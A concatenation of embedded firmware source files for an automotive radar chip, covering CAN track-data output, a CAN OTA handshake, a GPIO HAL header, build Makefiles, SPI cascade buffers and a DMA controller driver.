| ((track->cdi_pkg.raw_number & LOW10BITMASk) << 16));
track_data[3] = 0x0; /* Reserved */
#if (USE_CAN_FD == 1)
/* If use CAN FD, data length can be 16 Bytes at one time */
/* Send a frame data of Head to CAN bus */
can_send_data(CAN_0_ID, HEAD_FRAME_ID0, &track_data[0], eDATA_LEN_16);
#else
/* If use CAN, data length can only be 8 Bytes at one time */
/* Send a frame data of Head to CAN bus */
can_send_data(CAN_0_ID, HEAD_FRAME_ID0, &track_data[0], eDATA_LEN_8);
can_send_data(CAN_0_ID, HEAD_FRAME_ID1, &track_data[2], eDATA_LEN_8);
#endif
/* BK Data */
for (i = 0; i < track->cdi_pkg.cdi_number; i++) {
float tmpS = track->cdi_pkg.cdi[i].raw_z.sig;
float tmpN = track->cdi_pkg.cdi[i].raw_z.noi;
float SNR = 10*log10f(tmpS/tmpN);
track_data[0] = ((i & LOW10BITMASk)
| (((uint32_t)((track->cdi_pkg.cdi[i].raw_z.rng * 100) + ROUNDF)) & LOW16BITMASk) << 16);
track_data[1] = (((((uint32_t)((track->cdi_pkg.cdi[i].raw_z.rng * 100) + ROUNDF)) >> 16) & LOW16BITMASk)
| ((transform_data(track->cdi_pkg.cdi[i].raw_z.vel) & LOW15BITMASk) << 16));
track_data[2] = ((transform_data(SNR) & LOW15BITMASk)
| ((transform_data(track->cdi_pkg.cdi[i].raw_z.ang) & LOW15BITMASk) << 16));
#if (TRK_CONF_3D == 0)
track_data[3] = 0x4000;
#else
track_data[3] = transform_data(track->cdi_pkg.cdi[i].raw_z.ang_elv) & LOW15BITMASk;
#endif
#if (USE_CAN_FD == 1)
/* If use CAN FD, data length can be 16 Bytes at one time */
/* Send a frame data of BK to CAN bus */
if (output_bk_id0) {
can_send_data(CAN_0_ID, BK_FRAME_ID0, &track_data[0], eDATA_LEN_16);
}
#else
/* If use CAN, data length can only be 8 Bytes at one time */
/* Send a frame data of BK to CAN bus */
if (output_bk_id0) {
can_send_data(CAN_0_ID, BK_FRAME_ID0, &track_data[0], eDATA_LEN_8);
}
if (output_bk_id1) {
can_send_data(CAN_0_ID, BK_FRAME_ID1, &track_data[2], eDATA_LEN_8);
}
#endif
}
/* AK Data */
for (i = 0; i < TRACK_NUM_TRK; i++) {
if (track->trk_update_obj_info)
track->trk_update_obj_info(track->trk_data, sys_params, i);
if (track->output_obj.output) {
track_data[0] = ((i & LOW10BITMASk)
| ((track->output_obj.track_level & LOW2BITMASk) << 10)
| ((((uint32_t)((track->output_obj.rng * 100) + ROUNDF)) & LOW16BITMASk) << 16));
track_data[1] = (((((uint32_t)((track->output_obj.rng * 100) + ROUNDF)) >> 16)& LOW16BITMASk)
| ((transform_data(track->output_obj.vel) & LOW15BITMASk) << 16));
track_data[2] = ((transform_data(track->output_obj.SNR) & LOW15BITMASk)
| (transform_data(track->output_obj.ang) & LOW15BITMASk) << 16);
#if (TRK_CONF_3D == 0)
track_data[3] = 0x4000;
#else
track_data[3] = transform_data(track->output_obj.ang_elv) & LOW15BITMASk;
#endif
#if (USE_CAN_FD == 1)
/* If use CAN FD, data length can be 16 Bytes at one time */
/* Send a frame data of AK to CAN bus */
if (output_ak_id0) {
can_send_data(CAN_0_ID, AK_FRAME_ID0, &track_data[0], eDATA_LEN_16);
}
#else
/* If use CAN, data length can only be 8 Bytes at one time */
/* Send a frame data of AK to CAN bus */
if (output_ak_id0) {
can_send_data(CAN_0_ID, AK_FRAME_ID0, &track_data[0], eDATA_LEN_8);
}
if (output_ak_id1) {
can_send_data(CAN_0_ID, AK_FRAME_ID1, &track_data[2], eDATA_LEN_8);
}
#endif
}
}
}
static int32_t can_ota_handler(uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
result = can_ota_comm_handshake(data, len);
if (E_OK == result) {
reboot_cause_set(ECU_REBOOT_CAN_OTA);
chip_hw_mdelay(1);
chip_reset();
}
return result;
}
static int32_t can_ota_comm_handshake(uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t ota_comm_data[2] = {0};
transfer_word_stream(data, ota_comm_data, len);
if ((CAN_OTA_COM_MAGIC_NUM == ota_comm_data[0]) && \
(CAN_OTA_COM_HS_CODE == ota_comm_data[1])) {
/* If the received "Magic number" and "HS code" are equal to the setting value,
return the received value to Host */
can_send_data(CAN_0_ID, CAN_OTA_ID, ota_comm_data, len);
} else {
result = E_NODATA;
}
return result;
}
int32_t can_cli_commands(void)
{
int32_t result = E_OK;
/* register scan command */
result = can_cli_register(SCAN_FRAME_ID, can_scan_signal);
/* register CAN OTA start command */
result = can_cli_register(CAN_OTA_ID, can_ota_handler);
return result;
}
<file_sep>#ifndef CALTERAH_MATH_FUNCS_H
#define CALTERAH_MATH_FUNCS_H
#include "embARC_toolchain.h"
void normalize(float *in, int len, int method);
float get_power(float *in, int len);
uint32_t compute_gcd(uint32_t a, uint32_t b);
#endif
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
/**
* \defgroup DEVICE_HAL_GPIO GPIO Device HAL Interface
* \ingroup DEVICE_HAL_DEF
* \brief definitions for gpio device hardware layer (\ref dev_gpio.h)
* \details provide interfaces for gpio driver to implement
* Here is a diagram for the gpio interface.
*
* \htmlonly
* <div class="imagebox">
* <div style="width: 600px">
* <img src="pic/dev_gpio_hal.jpg" alt="GPIO Device HAL Interface Diagram"/>
* <p>GPIO Device HAL Interface Diagram</p>
* </div>
* </div>
* \endhtmlonly
*
* @{
*
* \file
* \brief gpio device hardware layer definitions
* \details Provide common definitions for gpio device,
* then the software developer can develop gpio driver
* following these definitions, and the applications
* can directly call this definition to realize functions
*
*/
#ifndef _DEVICE_HAL_GPIO_H_
#define _DEVICE_HAL_GPIO_H_
#include "dev_common.h"
/**
* \defgroup DEVICE_HAL_GPIO_DEFDIR GPIO Port Direction Definition
* \ingroup DEVICE_HAL_GPIO
* \brief Define macros to indicate gpio directions
* @{
*/
/*
* defines for gpio directions
*/
#define GPIO_DIR_INPUT (0) /*!< gpio works as input */
#define GPIO_DIR_OUTPUT (1) /*!< gpio works as output */
/** @} */
/**
* \defgroup DEVICE_HAL_GPIO_CTRLCMD GPIO Device Control Commands
* \ingroup DEVICE_HAL_GPIO
* \brief Definitions for gpio control command, used in \ref dev_gpio::gpio_control "GPIO IO Control"
* \details These commands defined here can be used in user code directly.
* - Parameters Usage
* - For passing parameters like integer, just use uint32_t/int32_t to directly pass values
* - For passing parameters for a structure, please use pointer to pass values
* - For getting some data, please use pointer to store the return data
* - Common Return Values
* - \ref E_OK, Control device successfully
* - \ref E_CLSED, Device is not opened
* - \ref E_OBJ, Device object is not valid or not exists
* - \ref E_PAR, Parameter is not valid for current control command
* - \ref E_SYS, Control device failed, due to hardware issues such as device is disabled
* - \ref E_NOSPT, Control command is not supported or not valid
* @{
*/
/**
* Set the \ref dev_gpio_info::direction "direction" of masked bits of gpio port into \ref GPIO_DIR_INPUT "input"
* - Param type : uint32_t
* - Param usage : 1 in each bit will be masked.
* - Return value explanation :
*/
#define GPIO_CMD_SET_BIT_DIR_INPUT DEV_SET_SYSCMD(0)
/**
* Set the \ref dev_gpio_info::direction "direction" of masked bits of gpio port into \ref GPIO_DIR_OUTPUT "output"
* - Param type : uint32_t
* - Param usage : 1 in each bit will be masked.
* - Return value explanation :
*/
#define GPIO_CMD_SET_BIT_DIR_OUTPUT DEV_SET_SYSCMD(1)
/**
* Get \ref dev_gpio_info::direction "gpio port direction".
* - Param type : uint32_t
* - Param usage : 1 bit for 1 bit of gpio port, 0 for input, 1 for output
* - Return value explanation :
*/
#define GPIO_CMD_GET_BIT_DIR DEV_SET_SYSCMD(2)
/**
* Set gpio interrupt configuration for each bit.
* - Param type : \ref DEV_GPIO_INT_CFG *
* - Param usage : store gpio interrupt configuration for each bit.
* - Return value explanation :
*/
#define GPIO_CMD_SET_BIT_INT_CFG DEV_SET_SYSCMD(3)
/**
* Get gpio interrupt configuration for each bit.
* - Param type : \ref DEV_GPIO_INT_CFG *
* - Param usage : First set int_bit_mask in DEV_GPIO_INT_CFG structure to
* the mask of which bit of GPIO you want to get. And the interrupt configuration
* will be stored in the structure DEV_GPIO_INT_CFG, each bit stand for each bit of port.
* - Return value explanation :
*/
#define GPIO_CMD_GET_BIT_INT_CFG DEV_SET_SYSCMD(4)
/**
* Set gpio service routine for each bit.
* - Param type : \ref DEV_GPIO_BIT_ISR *
* - Param usage : store gpio handler information for each bit, int handler's param will be DEV_GPIO *.
* - Return value explanation :
*/
#define GPIO_CMD_SET_BIT_ISR DEV_SET_SYSCMD(5)
/**
* Get gpio service routine for each bit.
* - Param type : \ref DEV_GPIO_BIT_ISR *
* - Param usage : By passing int_bit_ofs in DEV_GPIO_BIT_ISR,
* it will return interrupt handler for this bit and store it in int_bit_handler.
* - Return value explanation :
*/
#define GPIO_CMD_GET_BIT_ISR DEV_SET_SYSCMD(6)
/**
* Enable gpio interrupt of the masked bits.
* - Param type : uint32_t
* - Param usage : 1 in each bit will be masked.
* - Return value explanation :
*/
#define GPIO_CMD_ENA_BIT_INT DEV_SET_SYSCMD(7)
/**
* Disable gpio interrupt of the masked bits.
* - Param type : uint32_t
* - Param usage : 1 in each bit will be masked.
* - Return value explanation :
*/
#define GPIO_CMD_DIS_BIT_INT DEV_SET_SYSCMD(8)
/**
* Get \ref dev_gpio_info::method "gpio interrupt enable status".
* - Param type : uint32_t *
* - Param usage : 1 bit for 1 bit of gpio port, 0 for poll, 1 for interrupt
* - Return value explanation :
*/
#define GPIO_CMD_GET_BIT_MTHD DEV_SET_SYSCMD(9)
/**
* Toggle GPIO output of the masked bits(pins).
* - Param type : uint32_t
* - Param usage : 1 in each bit will be masked.
* - Return value explanation :
*/
#define GPIO_CMD_TOGGLE_BITS DEV_SET_SYSCMD(10)
/* @} */
#define GPIO_CMD_SET_SOURCE_SELECTOR DEV_SET_SYSCMD(32)
#define GPIO_CMD_GET_SOURCE_SELECTOR DEV_SET_SYSCMD(33)
typedef struct dev_gpio_info {
void *gpio_ctrl;
uint32_t opn_flag; /*!< gpio open flag, open it will set 1, close it will set 0. */
uint32_t direction;
void * extra;
} DEV_GPIO_INFO, * DEV_GPIO_INFO_PTR;
typedef struct dev_general_gpio {
DEV_GPIO_INFO gpio_info;
int32_t (*gpio_open) (uint32_t gpio_no, uint32_t dir); /*!< open gpio with pre-defined gpio direction */
int32_t (*gpio_close) (uint32_t gpio_no); /*!< close gpio device */
int32_t (*gpio_control) (uint32_t ctrl_cmd, uint32_t gpio_no, void *param); /*!< control gpio device */
int32_t (*gpio_write) (uint32_t gpio_no, uint32_t val); /*!< write gpio device with val. */
int32_t (*gpio_read) (uint32_t gpio_no, uint32_t *val); /*!< read gpio device val. */
} DEV_GPIO, * DEV_GPIO_PTR;
#ifdef __cplusplus
extern "C" {
#endif
/**
* \brief get an \ref dev_gpio "gpio device" by gpio device id.
* For how to use gpio device hal refer to \ref dev_gpio "Functions in gpio device structure"
* \param[in] gpio_id id of gpio, defined by user
* \retval !NULL pointer to an \ref dev_gpio "gpio device structure"
* \retval NULL failed to find the gpio device by \ref gpio_id
* \note need to implemented by user in user code
*/
extern DEV_GPIO_PTR gpio_get_dev(int32_t gpio_id);
#ifdef __cplusplus
}
#endif
/** @} */
#endif /* _DEVICE_HAL_GPIO_H_ */
<file_sep># Calterah Top Makefile
# Directories
FIRMWARE_ROOT ?= .
CALTERAH_ROOT ?= $(FIRMWARE_ROOT)/calterah
EMBARC_ROOT ?= $(FIRMWARE_ROOT)/embarc_osp
# Application name
APPL ?= sensor
override APPL := $(strip $(APPL))
# Selected OS
OS_SEL ?= freertos
override OS_SEL := $(strip $(OS_SEL))
# Selected Toolchain
TOOLCHAIN ?= gnu
ifeq ($(OS_SEL),freertos)
APPLS_ROOT = $(CALTERAH_ROOT)/freertos
else
APPLS_ROOT = $(CALTERAH_ROOT)/baremetal
endif
ifeq ($(TOOLCHAIN),gnu)
COMPILE_OPT += -Wall -Wno-unused-function -Wno-format
endif
SUPPORTED_APPLS = $(basename $(notdir $(wildcard $(APPLS_ROOT)/*/*.mk)))
## Set Valid APPL
check_item_exist_tmp = $(strip $(if $(filter 1, $(words $(1))),$(filter $(1), $(sort $(2))),))
VALID_APPL = $(call check_item_exist_tmp, $(APPL), $(SUPPORTED_APPLS))
## Test if APPL is valid
ifeq ($(VALID_APPL), )
$(info APPL - $(SUPPORTED_APPLS) are supported)
$(error APPL $(APPL) is not supported, please check it!)
endif
## Include firmware version compilation file
include $(EMBARC_ROOT)/options/version.mk
FLASH_TYPE ?= s25fls
override FLASH_TYPE := $(strip $(FLASH_TYPE))
## build directory
OUT_DIR_ROOT ?= .
# include current project makefile
COMMON_COMPILE_PREREQUISITES += makefile
include $(APPLS_ROOT)/$(APPL)/$(APPL).mk
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "frame.h"
#include "baseband_cas.h"
static uint32_t cas_tx_buf[BUF_SIZE_CASCADE];
static uint32_t cas_rx_buf_cmd[CMD_SIZE_CASCADE];
static uint32_t *cas_rx_buf = NULL;
static uint32_t cas_rx_len = 0;
static uint32_t cas_tx_len = 0;
/* write buffer */
void cascade_write_buf_req() /* allocation buffer */
{
static uint32_t first_xfer = 0;
if (1 == first_xfer) {
while (E_OK !=cascade_transmit_done())
; // waiting for IDLE of tx buf
} else {
first_xfer = 1;
}
cas_tx_len = 0;
}
void cascade_write_buf(uint32_t value)
{
*(cas_tx_buf + cas_tx_len++) = value;
}
void cascade_write_buf_done()
{
while (E_OK != cascade_write(cas_tx_buf, cas_tx_len))
EMBARC_PRINTF("Error: cas_tx_spi failed >>> try again \r\n");
}
/* read buffer */
int32_t cascade_read_buf_req(TickType_t xTicksToWait) /* 1 tick 1ms*/
{
return cascade_read(&cas_rx_buf, &cas_rx_len, xTicksToWait); /* wait for xTicksToWait */
}
uint32_t cascade_read_buf(uint32_t offset)
{
volatile uint32_t *buf = (uint32_t *)(cas_rx_buf + offset);
return *buf;
}
void cascade_read_buf_done()
{
cascade_process_done();
}
/* command string tx/rx */
void cascade_write_buf_str(const char *pcCommandString)
{
char *dest_addr = (char *)(cas_tx_buf + cas_tx_len);
strcpy(dest_addr, pcCommandString); /* write cmd string */
/* add 3 extra characters, */
uint32_t strlen_cmd = strlen(pcCommandString);
dest_addr[strlen_cmd ] = '\r';
dest_addr[strlen_cmd + 1] = '\n';
dest_addr[strlen_cmd + 2] = '\0';
strlen_cmd = strlen_cmd + 3; /* add 3 extra characters */
cas_tx_len += (strlen_cmd + 3) /4; /* char length to word length */
}
void cascade_read_buf_str()
{
// move data to new buf, no occuping spi underlying buffer
for (int32_t i = 1; i < cas_rx_len; i++)
*(cas_rx_buf_cmd + i - 1) = cascade_read_buf(i);
}
char * cascade_spi_cmd_info(uint32_t *len)
{
char *pcCommandString = (char *)(cas_rx_buf_cmd);
*len = strlen(pcCommandString);
return pcCommandString;
}
<file_sep>#ifndef _SPIS_SERVER_INTERNAL_H_
#define _SPIS_SERVER_INTERNAL_H_
int32_t spis_server_s2m_sync(void);
int32_t spis_server_sync_init(void);
void spis_server_register(void);
#endif
<file_sep>FREERTOS_CLI_ROOT = $(FREERTOS_COMMON_ROOT)/cli
FREERTOS_CLI_CSRCDIR += $(FREERTOS_CLI_ROOT)
# find all the source files in the target directories
FREERTOS_CLI_CSRCS = $(call get_csrcs, $(FREERTOS_CLI_CSRCDIR))
FREERTOS_CLI_ASMSRCS = $(call get_asmsrcs, $(FREERTOS_CLI_ASMSRCDIR))
# get object files
FREERTOS_CLI_COBJS = $(call get_relobjs, $(FREERTOS_CLI_CSRCS))
FREERTOS_CLI_ASMOBJS = $(call get_relobjs, $(FREERTOS_CLI_ASMSRCS))
FREERTOS_CLI_OBJS = $(FREERTOS_CLI_COBJS) $(FREERTOS_CLI_ASMOBJS)
# get dependency files
FREERTOS_CLI_DEPS = $(call get_deps, $(FREERTOS_CLI_OBJS))
# genearte library
FREERTOS_CLI_LIB = $(OUT_DIR)/lib_freertos_cli.a
COMMON_COMPILE_PREREQUISITES += $(FREERTOS_CLI_ROOT)/cli.mk
# library generation rule
$(FREERTOS_CLI_LIB): $(FREERTOS_CLI_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(FREERTOS_CLI_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(FREERTOS_CLI_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(FREERTOS_CLI_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(FREERTOS_CLI_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(FREERTOS_CLI_ASMSRCS)
CALTERAH_COMMON_COBJS += $(FREERTOS_CLI_COBJS)
CALTERAH_COMMON_ASMOBJS += $(FREERTOS_CLI_ASMOBJS)
CALTERAH_COMMON_LIBS += $(FREERTOS_CLI_LIB)
CALTERAH_INC_DIR += $(FREERTOS_CLI_CSRCDIR)
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_dmac_reg.h"
#include "dw_dmac.h"
static int32_t dw_dmac_chn_address(dw_dmac_t *dmac, uint32_t chn_id, uint32_t src_addr, uint32_t dst_addr)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
raw_writel(DMAC_REG_SAR(chn_id), src_addr);
raw_writel(DMAC_REG_DAR(chn_id), dst_addr);
}
return result;
}
static int32_t dw_dmac_chn_linklist_pointer(dw_dmac_t *dmac, uint32_t chn_id, uint32_t addr)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
raw_writel(DMAC_REG_LLP(chn_id), (addr >> 2) << 2);
}
return result;
}
static int32_t dw_dmac_chn_control(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_chn_ctrl_t *ctrl)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn) || (NULL == ctrl)) {
result = E_PAR;
} else {
uint32_t l_val = dma_ctrl2regl(ctrl);
raw_writel(DMAC_REG_CTL(chn_id), l_val);
raw_writel(DMAC_REG_CTL(chn_id) + 4, ctrl->block_ts & DMAC_BITS_CTL_BS_MASK);
}
return result;
}
static int32_t dw_dmac_chn_status_address(dw_dmac_t *dmac, uint32_t chn_id, uint32_t src_addr, uint32_t dst_addr)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
raw_writel(DMAC_REG_SSTATAR(chn_id), src_addr);
raw_writel(DMAC_REG_DSTATAR(chn_id), dst_addr);
}
return result;
}
static int32_t dw_dmac_chn_config(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_chn_cfg_t *cfg)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn) || (NULL == cfg)) {
result = E_PAR;
} else {
uint32_t l_val = 0, h_val = 0;
if (cfg->dst_reload) {
l_val |= DMAC_BITS_CFG_RELOAD_DST;
}
if (cfg->src_reload) {
l_val |= DMAC_BITS_CFG_RELOAD_SRC;
}
if (cfg->src_hw_if_pol) {
l_val |= DMAC_BITS_CFG_SRC_HS_POL;
}
if (cfg->dst_hw_if_pol) {
l_val |= DMAC_BITS_CFG_DST_HS_POL;
}
if (cfg->src_hw_hs_sel) {
l_val |= DMAC_BITS_CFG_HS_SEL_SRC;
}
if (cfg->dst_hw_hs_sel) {
l_val |= DMAC_BITS_CFG_HS_SEL_DST;
}
if (cfg->suspend) {
l_val |= DMAC_BITS_CFG_CHN_SUSP;
}
l_val |= dmac_chn_priority(cfg->priority);
raw_writel(DMAC_REG_CFG(chn_id), l_val);
h_val |= dmac_chn_dst_hw_if(cfg->dst_hw_if);
h_val |= dmac_chn_src_hw_if(cfg->src_hw_if);
if (cfg->src_sts_upd_en) {
h_val |= DMAC_BITS_CFG_SS_UPD_EN;
}
if (cfg->dst_sts_upd_en) {
h_val |= DMAC_BITS_CFG_DS_UPD_EN;
}
h_val |= dmac_chn_prot_ctrl(cfg->prot_ctrl);
if (cfg->fifo_mode) {
h_val |= DMAC_BITS_CFG_FIFOMODE;
}
raw_writel(DMAC_REG_CFG(chn_id) + 4, h_val);
}
return result;
}
static int32_t dw_dmac_chn_gather(dw_dmac_t *dmac, uint32_t chn_id, uint32_t interval, uint32_t count)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
raw_writel(DMAC_REG_SGR(chn_id), dmac_source_gather(interval, count));
}
return result;
}
static int32_t dw_dmac_chn_scatter(dw_dmac_t *dmac, uint32_t chn_id, uint32_t interval, uint32_t count)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
raw_writel(DMAC_REG_DSR(chn_id), dmac_dest_scatter(interval, count));
}
return result;
}
static int32_t dw_dmac_chn_int_raw_status(dw_dmac_t *dmac, dw_dmac_inttype_t int_type)
{
int32_t result = E_OK;
uint32_t int_sts;
if ((NULL == dmac) || (int_type >= INT_TYPE_INVALID)) {
result = E_PAR;
} else {
switch (int_type) {
case INT_TFR:
int_sts = raw_readl(DMAC_REG_RAW_TFR);
break;
case INT_BLOCK:
int_sts = raw_readl(DMAC_REG_RAW_BLOCK);
break;
case INT_SRC_TRAN:
int_sts = raw_readl(DMAC_REG_RAW_SRC_TRANS);
break;
case INT_DST_TRAN:
int_sts = raw_readl(DMAC_REG_RAW_DST_TRANS);
break;
case INT_ERR:
int_sts = raw_readl(DMAC_REG_RAW_ERR);
break;
default:
result = E_PAR;
}
/*
if (E_OK == result) {
if (int_sts & (1 << chn_id)) {
result = 1;
}
}
*/
}
if (E_OK == result) {
result = (int32_t)int_sts;
}
return result;
}
static int32_t dw_dmac_chn_int_status(dw_dmac_t *dmac, dw_dmac_inttype_t int_type)
{
int32_t result = E_OK;
uint32_t int_sts = 0;
if ((NULL == dmac) || (int_type >= INT_TYPE_INVALID)) {
result = E_PAR;
} else {
switch (int_type) {
case INT_TFR:
int_sts = raw_readl(DMAC_REG_STATUS_TFR);
break;
case INT_BLOCK:
int_sts = raw_readl(DMAC_REG_STATUS_BLOCK);
break;
case INT_SRC_TRAN:
int_sts = raw_readl(DMAC_REG_STATUS_SRC_TRANS);
break;
case INT_DST_TRAN:
int_sts = raw_readl(DMAC_REG_STATUS_DST_TRANS);
break;
case INT_ERR:
int_sts = raw_readl(DMAC_REG_STATUS_ERR);
break;
default:
result = E_PAR;
}
/*
if (E_OK == result) {
if (int_sts & (1 << chn_id)) {
result = 1;
}
}
*/
}
if (E_OK == result) {
result = (int32_t)int_sts;
}
return result;
}
static int32_t dw_dmac_chn_int_enable(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_inttype_t int_type, uint32_t en)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
uint32_t raddr = 0;
switch (int_type) {
case INT_TFR:
raddr = DMAC_REG_MASK_TFR;
break;
case INT_BLOCK:
raddr = DMAC_REG_MASK_BLOCK;
break;
case INT_SRC_TRAN:
raddr = DMAC_REG_MASK_SRC_TRANS;
break;
case INT_DST_TRAN:
raddr = DMAC_REG_MASK_DST_TRANS;
break;
case INT_ERR:
raddr = DMAC_REG_MASK_ERR;
break;
default:
result = E_PAR;
}
if (E_OK == result) {
uint32_t value = raw_readl(raddr);
if (en) {
value |= ((1 << chn_id) << 8) | (1 << chn_id);
} else {
value &= ~(1 << chn_id);
value |= (1 << chn_id) << 8;
}
raw_writel(raddr, value);
}
}
return result;
}
static int32_t dw_dmac_chn_int_clear(dw_dmac_t *dmac, uint32_t chn_id, dw_dmac_inttype_t int_type)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
uint32_t raddr = 0;
switch (int_type) {
case INT_TFR:
raddr = DMAC_REG_CLEAR_TFR;
break;
case INT_BLOCK:
raddr = DMAC_REG_CLEAR_BLOCK;
break;
case INT_SRC_TRAN:
raddr = DMAC_REG_CLEAR_SRC_TRANS;
break;
case INT_DST_TRAN:
raddr = DMAC_REG_CLEAR_DST_TRANS;
break;
case INT_ERR:
raddr = DMAC_REG_CLEAR_ERR;
break;
default:
result = E_PAR;
}
if (E_OK == result) {
raw_writel(raddr, (1 << chn_id));
}
}
return result;
}
static int32_t dw_dmac_int_status(dw_dmac_t *dmac, dw_dmac_inttype_t int_type)
{
int32_t result = E_OK;
if ((NULL == dmac) || (int_type >= INT_TYPE_INVALID)) {
result = E_PAR;
} else {
uint32_t intsts = raw_readl(DMAC_REG_STATUS);
result = (intsts & (1 << int_type)) ? (1) : (0);
}
return result;
}
static int32_t dw_dmac_int_disable_all(dw_dmac_t *dmac, dw_dmac_inttype_t int_type)
{
int32_t result = E_OK;
if ((NULL == dmac)) {
result = E_PAR;
} else {
//uint32_t intsts = raw_readl(DMAC_REG_STATUS);
switch (int_type) {
case INT_TFR:
raw_writel(DMAC_REG_MASK_TFR, 0xFF00);
break;
case INT_BLOCK:
raw_writel(DMAC_REG_MASK_BLOCK, 0xFF00);
break;
case INT_SRC_TRAN:
raw_writel(DMAC_REG_MASK_SRC_TRANS, 0xFF00);
break;
case INT_DST_TRAN:
raw_writel(DMAC_REG_MASK_DST_TRANS, 0xFF00);
break;
case INT_ERR:
raw_writel(DMAC_REG_MASK_ERR, 0xFF00);
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t dw_dmac_sw_request(dw_dmac_t *dmac, uint32_t chn_id)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
uint32_t raddr, value;
raddr = DMAC_REG_REQSRC;
value = raw_readl(raddr);
value |= ((1 << chn_id) << 8) | ((1 << chn_id));
raw_writel(raddr, value);
raddr = DMAC_REG_REQDST;
value = raw_readl(raddr);
value |= ((1 << chn_id) << 8) | ((1 << chn_id));
raw_writel(raddr, value);
raddr = DMAC_REG_SGLRQSRC;
value = raw_readl(raddr);
value |= ((1 << chn_id) << 8) | ((1 << chn_id));
raw_writel(raddr, value);
raddr = DMAC_REG_SGLRQDST;
value = raw_readl(raddr);
value |= ((1 << chn_id) << 8) | ((1 << chn_id));
raw_writel(raddr, value);
}
return result;
}
static int32_t dw_dmac_enable(dw_dmac_t *dmac, uint32_t en)
{
int32_t result = E_OK;
if (NULL == dmac) {
result = E_PAR;
} else {
if (en) {
raw_writel(DMAC_REG_CFGREG, 1);
} else {
raw_writel(DMAC_REG_CFGREG, 0);
}
}
return result;
}
static int32_t dw_dmac_chn_en(dw_dmac_t *dmac, uint32_t chn_id, uint32_t en)
{
int32_t result = E_OK;
if ((NULL == dmac) || (chn_id >= dmac->nof_chn)) {
result = E_PAR;
} else {
uint32_t value = raw_readl(DMAC_REG_CHNEN);
value |= ((1 << chn_id) << 8);
if (en) {
value |= (1 << chn_id);
} else {
value &= ~(1 << chn_id);
}
raw_writel(DMAC_REG_CHNEN, value);
}
return result;
}
static dw_dmac_ops_t dmac_ops = {
.enable = dw_dmac_enable,
.chn_enable = dw_dmac_chn_en,
.sw_request = dw_dmac_sw_request,
.int_status = dw_dmac_int_status,
.int_disable = dw_dmac_int_disable_all,
.chn_int_clear = dw_dmac_chn_int_clear,
.chn_int_enable = dw_dmac_chn_int_enable,
.chn_int_status = dw_dmac_chn_int_status,
.chn_int_raw_status = dw_dmac_chn_int_raw_status,
.chn_scatter = dw_dmac_chn_scatter,
.chn_gather = dw_dmac_chn_gather,
.chn_config = dw_dmac_chn_config,
